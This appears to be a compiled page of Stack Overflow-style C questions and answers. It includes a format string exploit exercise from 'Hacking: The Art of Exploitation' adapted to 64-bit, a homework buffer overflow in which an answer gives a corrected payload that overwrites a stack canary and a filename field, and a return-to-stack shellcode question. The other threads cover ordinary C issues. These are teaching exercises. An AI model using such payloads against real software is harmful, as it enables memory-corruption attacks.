I am currently reading "Hacking The Art of Exploitation" where it talks about format string vulnerabilities. The book's exercise tries to read the data from arbitrary part of memory by writing an address to stack and read it using format parameters. The problem is the exercise is written for 32 bit systems, whereas I am working on a 64 bit. My attempt to make it work for a 64 bit system is below:
./fmt_vuln $(printf "\xaa\xee\xff\xff\xff\x7f")%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x
and the response I get from the shell is:
The right way to print user-controlled input:
?????%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x
The wrong way to
print user-controlled input:
0000000055755010.00000000f7dd18c0.00000000f7af4154.000000000000000.000000000000035.0 ffffe088.00000000555543c0.00000000ffffeeaa
[*] test val # 0x55755010 =
-72 0xffffffb8
As you can see I am only able to read the lower 4 bytes (0xFFFFEEAA) and the upper 2 bytes are gone(0x7FFF). Any thought on how I can fix this?
Btw, here is the code for fmt_vuln from the book:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val # 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
Here is a screen shot of my shell:
Try reading with %016llx (long long x) instead of %016x, since you are reading a 64 bit hex, not a 32.
Related
In pseudo code, I want put an arbitrary number of arguments to printf depending on the length of the argv, where the argv[1] is the format string.
int main(int argc, char *argv[]) {
printf(argv[1], argv[2], ...);
}
Uses can call the program as ./prog "%s %s" a b, ./prog "%s %s %s" a b c, and so on.
Could anybody let me know how to achieve this in C?
You need a loop for this:
int main(int argc, char *argv[])
{
int i;
for (i=1;i<argc;i++) {
printf("%s", argv[i]);
}
}
Here's something I just hacked together right now, it does does minimal parsing of the string and leaves most of it up to printf. It should also work with any number of arguments. Of course, since arguments are passed as char *s through the command line, this will only work with %s and its variants (and %%, but not sure if that counts as a format specifier).
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
if (argc < 2)
{
fprintf(stderr, "Usage: %s <format string>[ <args>]\n", argv[0]);
return 1;
}
// These pointers will constantly jump from format spec. to format spec.
char *last_fmt = argv[1], *next_fmt, *next_next_fmt;
char *buf = NULL; // a buffer to hold a substring of argv[1]
unsigned i = 2; // Used to iterate over argv[2+]
while (1)
{
next_fmt = last_fmt - 2;
do
{
if ((next_fmt = strchr(next_fmt + 2, '%')) == NULL)
{
/* Your compiler may warn about this line specifically (it did for me),
but rest assured that there are indeed no format specifiers
here really, printf is just needed for printing "%%"s as "%"s */
printf(last_fmt);
return 0;
}
} while (next_fmt[1] == '%');
next_next_fmt = next_fmt - 1;
do
{
if ((next_next_fmt = strchr(next_next_fmt + 2, '%')) == NULL)
{
printf(last_fmt == argv[1] ? last_fmt : next_fmt,
argv[i]);
return 0;
}
} while (next_next_fmt[1] == '%');
buf = malloc(next_next_fmt - last_fmt + 1);
memcpy(buf, last_fmt, next_next_fmt - last_fmt);
buf[next_next_fmt - last_fmt] = '\0';
printf(buf, argv[i]);
free(buf);
++i;
last_fmt = next_next_fmt;
}
}
An example of running:
./a.out "Hello %.2s World! %s" "foo" "bar"
Hello fo World! bar
./a.out "Hello %10s World!" "foo" "bar"
Hello foo World!
./a.out "Hello %5.2s World!" "random"
Hello ra World!
./a.out
Usage: ./a.out <format string>[ <args>]
./a.out "Hello %%s World %s" "a"
Hello %s World a
./a.out "%s %s %s" "a" "b" "c"
a b c
You could build upon this yourself, but if you want to handle other format specifiers, you'll have to do actual parsing of the string. At that point, you would basically be creating another printf.
You also might be a bit worried about the use of a not-string-literal passed to printf, but this is safe. There is guaranteed to be exactly 1 format specifier in each place I use printf (except in the first do loop, but there it is guaranteed to not have any arguments).
how to achieve this in C?
C language does not have reflection. You can't "dynamically create function calls" or inspect and then change your own source code. You have to know at compilation time how many arguments you are passing to a function. While it is simple to do printf("%s %s", "a", "b) inside C language, if you pass the same data to a program that was written in C language you have parse the data and write the logic yourself.
Such parser would take the string "%s %s" find the %s sequences and replace them for the string "a" and "b" and also print the space in between, etc. That parser has to be written in C and is basically a duplication of what printf program (not printf() C function) does. You may want to read some implementations of printf program: ex. coreutils printf.c or freebsd printf.c.
This isn't a great idea to begin with, it will be super-vulnerable to all manner of exploits, typos and bugs. But if you insist, you could do a dirty hack as follows:
Assuming the format string in argv[1] is %s %s %s, then each we can divide this string length by 3 to get the number of strings. Save for the final one, which isn't followed by a trailing space. So strlen(argv[1]) + 1 then divide by 3:
#define STR_N ((strlen(argv[1])+1)/3)
Next up we can take advantage of printf ignoring trailing arguments not corresponding to the format string. So we could do printf(argv[1], argv[2], argv[3]); just fine without actually passing that many arguments, long as the format string contains the correct amount of conversion specifiers. For example:
#define ARGV_LIST \
argv[2],\
argv[3],\
argv[4],\
argv[5],\
argv[6],\
argv[7],\
argv[8],\
argv[9]\
printf(argv[1], ARGV_LIST);
Then cook up something to convert the indices and make sure that array out of bounds never occurs:
#include <stdio.h>
#include <string.h>
#define STR_N ((strlen(argv[1])+1)/3)
#define INDEX(n) (STR_N>n? (n+2) : 0)
#define ARGV_LIST \
argv[INDEX(0)],\
argv[INDEX(1)],\
argv[INDEX(2)],\
argv[INDEX(3)],\
argv[INDEX(4)],\
argv[INDEX(5)],\
argv[INDEX(6)],\
argv[INDEX(7)],\
argv[INDEX(8)],\
argv[INDEX(9)]\
int main(int argc, char *argv[])
{
printf(argv[1], ARGV_LIST);
return 0;
}
Tested in Windows with prog.exe "%s %s %s %s %s" hello this is a test gives output:
hello this is a test
I'm trying to exploit this simple program for homework:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFSIZE 1024
typedef struct {
char flag_content[BUFSIZE];
char guess[47];
unsigned canary;
char flag_file[BUFSIZE];
} st_t;
int main(){
FILE *f = NULL;
st_t st = {
.flag_file = "fake_flag",
.canary = 0x4249b876
};
printf("Guess the flag!\n");
scanf("%s", st.guess);
f = fopen(st.flag_file, "rb");
if (f == NULL){
printf("flag error\n");
exit(-1);
}
if (fread(st.flag_content, BUFSIZE, 1, f) < 0){
printf("flag error\n");
exit(-1);
}
if (st.canary != 0x4249b876) {
printf("canary error\n");
exit(-1);
}
if (!strcmp(st.guess, st.flag_content)){
printf("You guessed it right!\n");
} else {
printf("Sorry but the flag is \"%s\"\n", st.flag_content);
}
exit(1);
}
The purpose is to modify the st.flag_file inserting "flag.txt" instead of "fake_flag.txt" to read its content.
It's easy to find out that there is a buffer overflow, but there is also a canary, so I write this exploit as input of the scanf:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
I found online that the hexadecimal 0x4249b876 is translated into v¸IB
but when I run the code from my terminal this is the output
./mission1
Guess the flag!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
canary error
and doing a check with gdb I found out that the variable st.flag_file = "flag.txt" that is correct but the variable st.canary = 0x4249b8c2
I cannot understand. Why?
The problem you are having comes from the alignment requirements of the struct. In particular, between the guess and the canary there is extra padding that the compiler is inserting. Try to dump the entire structure and/or the addresses of the members and you will see the padding.
The end result is that you will need more than 47 bytes (A) to reach the canary, typically one more. So instead of, e.g.:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag
You will need:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag
Take note, as well, that escaping the characters for the canary might be a good idea (to avoid problems with encoding etc.) and makes it more readable (to compare against the actual canary).
Off-topic Note that:
fread(st.flag_content, BUFSIZE, 1, f) < 0
is always false since fread returns a size_t (unsigned).
I am currently working on the common return to stack project and I have seen many of example online and on youtube that are very common. Yet when I try to recreate the project with the int2hexstr() function my results are not the same.
Example of test string arugment
As you can see 76 A's print to the screen along with 100 I's and 4 B's along with the shellcode.
However when I replace the BBBB with int2hextr(), My argument is simply exactly what I typed in the single quotation marks.
Example of test string argument with address
I am aware that my results do not print in hexadecimal like most examples in either picture but will that make a difference, as well.
Is there an alternative to use instead of int2hexstr or is there something else I need to type. Also I using a virtual machine, Debian 7.xxx
copy of code i am trying to use return 2 stack
char* dovuln(coonst char*s)
{ char buf[64];
strcpy(buf, s);
puts(buf);
fflush(stdout);
return strdup(buf);
}
int main(int argc, char **argv)
{
if (argc < 2)
{
puts("missing argument");
exit(1);
}
dovuln(argv[1]);
return 0;
}
I'm sorry to do this kind of question (because there is so much on internet about that) but I have to ask this:
The exercise involve reading from a file with a list of students (a record contains: name, surname and serial number). I've already created the document and consist of 13 lines, but when I write on terminal ./a.out, the output is a list of 13 lines of this type: (null) (null) (null)
The code is:
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#define EOF (-1)
#define BUF 100
typedef struct stud{
char *surname;
char *name;
char *serial;
} student;
int main(void){
FILE *fd;
int n = BUF;
int k = 0;
int i = 0;
int ret;
char *s = malloc(BUF * sizeof(char));
if((fd = fopen("registry_office_students.txt","r")) == NULL){
perror("error opening file");
return -1;
}
while(fgets(s,n,fd)!=NULL){
k++;
}
student *a = malloc(k*sizeof(student));
rewind(fd);
ret = fscanf(fd, "%s, %s, %s", a[i].surname, a[i].name, a[i].serial);
while(fscanf(fd, "%s, %s, %s", a[i].surname, a[i].name, a[i].serial) == ret){
i++;
}
for(i=0;i<k;i++){
printf("%s, %s, %s \n", a[i].surname, a[i].name, a[i].serial);
}
fclose(fd);
return 0;
}
I apologize again and hope for a proper response, Thanks.
fscanf(3) with %s won't allocate any memory for a string. That string should already exist.
At least, replace
ret = fscanf(fd, "%s, %s, %s",
a[i].surname, a[i].name, a[i].serial);
with something like
{
char surname[48];
char name[64];
char serial[32];
memset (surname, 0, sizeof(surname));
memset (name, 0, sizeof(name));
memset (serial, 0, sizeof(serial));
memset (a+i, 0, sizeof(struct stud));
ret = fscanf(fd, "%47s, %63s, %31s", surname, name, serial);
if (ret==3) {
a[i].surname = strdup(surname);
if (!a[i].surname)
{ perror("strdup surname"); exit(EXIT_FAILURE); }
a[i].name = strdup(name);
if (!a[i].name)
{ perror("strdup name"); exit(EXIT_FAILURE); }
a[i].serial = strdup(serial);
if (!a[i].serial)
{ perror("strdup serial"); exit(EXIT_FAILURE); }
}
}
Notice that I am clearing memory before reading it. I am explicitly giving size of strings in format of fscanf. I am duplicating with a tested strdup the read strings into heap.
Actually, I believe your approach could be wrong. You might decide that each student should be on a single line, which you would read with getline(3) and parse with sscanf(3) (maybe %n would be useful!) or maybe strtok (or "manually" using isalpha)
Please, read more material about C programming, then compile with all warnings and debug info (gcc -Wall -g), learn to use the debugger (gdb) and the memory leak detector (valgrind).
Firstly, you never allocate memory for the strings stored inside your structs. I.e. your fscanf attempts to read data into buffers that don't exist.
Secondly, your reading code reads data into a[0] twice. I.e. the first fscanf will read the first record in a[0] and then the next fscanf will read the next record into a[0] again, overriding what was read previously. Why? Was that your intent (like skipping a table header or something like that)?
Thirdly, your counting code (fgets) is not the same as your reading code (fscanf). If the reading code fails prematurely for fscanf-specific reason, you will read less than k records. Yet your printing code prints all k of them unconditionally. (What if your reading code failed immediately due to some error in fscanf format? In that case you never read anything.)
Fourthly, each call to fgets in your counting code is limited by 100 characters or by a newline (that's how fgets works). This is completely non-synchronized with how fscanf works, which is not limited by anything in your case. This means that the number of records seen by the counting code might easily end up different (greater) than the number of records seen by the reading code.
this is my first time programming in C, and on a UNIX system. I am trying to do something fairly simple. I have a binary file that is an image of a Compact Flash camera card, and consists of a few JPG images. I am trying to read through the file, find the byte sequence corresponding to FF D8 FF E0, or FF D8 FF E1, the signifiers of the beginning of a JPG file, then writing everything between that signifier and the next to a new jpg file.
At the moment I am just trying to get my computer to print out the file as is, by reading it in 512 size blocks, the stated size of the blocks in the original file system. I have the following code:
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main (int argc, char *argv[])
{
FILE * raw;
FILE * currentimage;
char buf[512];
char beg1[32] = "11111111110110001111111111100001";
char beg2[32] = "11111111110110001111111111100000";
raw = fopen("card.raw", "rb");
while((fread(buf, sizeof(raw), 512, raw) > 0))
{
printf(buf);
printf("\n");
}
}
It just prints out the file formatted into what I presume is ASCII, so it looks like a bunch of gobbledegook. How can I get this data formatted to either binary 1's and 0's or, even better, hex 0-F's?
Any help would be much appreciated.
P.S. beg1 and beg2 correspond to the binary values of the hex values I am looking for, but they are not really relevant to the rest of the code I have at the moment.
Instead of printf(buf); you would need to loop through each byte and do printf("%02x ", byte). Take a look at the source of hexdump here:
http://qa.coreboot.org/docs/doxygen/hexdump_8c_source.html
You should read up on what printf() does, as in NO PROGRAMMING LANGUAGE that I know, should you EVER use data as the first argument to printf. The first argument should be a template, which the way you used it should be "%s". To see hex output, replace your loop with this:
int size;
while((size = (fread(buf, sizeof(raw), 512, raw)) > 0))
{
for (int i = 0; i < size; i++)
{
printf("%2X", buf[i]);
}
printf("\n");
}
To answer your question about comparision in C before printing:
The numerical data is right there in buf -- buf[i] is an char from -127 to 128 that contains the value. If you want to look at its hex representation, you can do:
sprintf(some_other_buffer, "%2X", buf[i]);
Then you can perform string manipulation on some_other_buffer, knowing it's a 2 character string.